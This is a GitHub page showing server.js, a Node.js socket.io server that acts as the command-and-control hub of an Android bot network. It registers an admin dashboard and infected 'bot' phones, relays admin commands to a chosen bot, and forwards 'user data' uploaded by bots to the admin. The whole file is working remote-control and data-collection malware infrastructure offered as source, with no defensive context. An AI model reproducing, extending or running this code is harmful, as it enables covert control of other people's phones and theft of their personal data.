-
Notifications
You must be signed in to change notification settings - Fork 45
/
server.js
113 lines (86 loc) · 3.67 KB
/
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
var express = require('express');
var socket = require('socket.io');
var app = express(); //App Setup
app.use(express.static(__dirname + '/SClientSide/Dashboard')); //Static Files
var server = app.listen(80, function () {
console.log('Listening to port 80');
});
//Socket setup
var io = socket(server);
io.on('connection', function (socket) {
handleSocket(socket);
});
//Handle socket
var adminSocket;
var botSocketList = [];
var botDataList = [];
function handleSocket(socket) {
//Register admin and save socket instance to global adminSocket variable
socket.on('registerAdmin', function (data) {
socket.tag = "admin";
adminSocket = socket;
console.log(data);
console.log("A admin connected: " + socket.id);
//Send bot connected + data to web client i.e., list of all connected devices
adminSocket.emit('registerBotClient', {botDataList: botDataList});
//Send command to device i.e., bot
handleWebClientCommand(socket);
});
//To register a bot and send data to web client
socket.on('registerBot', function (data) {
console.log(data);
socket.tag = data.uid;
botSocketList.push(socket);
botDataList.push(data);
console.log("A bot connected: " + socket.id);
//socket.emit('commands', [{command: 'openBrowser', arg1: "google.com"}]);
//Send bot connected + data to web client i.e., list of all connected devices
if (adminSocket != null && adminSocket.connected)
adminSocket.emit('registerBotClient', {botDataList: botDataList});
//Send bot data to web client when bot send any userdata
handleUserData(socket);
});
//Fired up when any socket is disconnected
socket.on('disconnect', function () {
console.log(socket.tag + " disconnected");
console.log(botDataList);
for (var i = botDataList.length - 1; i >= 0; i--) {
if (botDataList[i].uid === socket.tag) {
botDataList.splice(i, 1);
}
}
console.log(botDataList);
console.log(botDataList.length);
if (adminSocket != null && adminSocket.connected)
adminSocket.emit('offlineBot', socket.tag);
});
}
function handleWebClientCommand(socket) {
//Send commands to bot i.e., android phone
socket.on('commands', function (data) {
for (var i = 0; i < botSocketList.length; i++) {
if (botSocketList[i].tag === data.uid) {
if (botSocketList[i] != null && botSocketList[i].connected) {
botSocketList[i].emit('commands', data.commands);
console.log('Command firing to bot server ' + data);
} else {
console.log('Bot is not connected :-(');
/*if (adminSocket != null && adminSocket.connected) {
if (!botSocketList[i].connected)
adminSocket.emit('custom-error', {error: 'Sorry bot ' + data.uid + ' is offline :-('});
if (botSocketList[i] != null)
adminSocket.emit('custom-error', {error: 'Sorry bot ' + data.uid + ' is not connected :-('});
}*/
}
}
}
});
}
function handleUserData(socket) {
//Receive and send data to web client from bot
socket.on('usrData', function (data) {
if (adminSocket != null && adminSocket.connected)
adminSocket.emit('usrData', {data: data, uid: socket.tag});
console.log('User data uploading');
});
}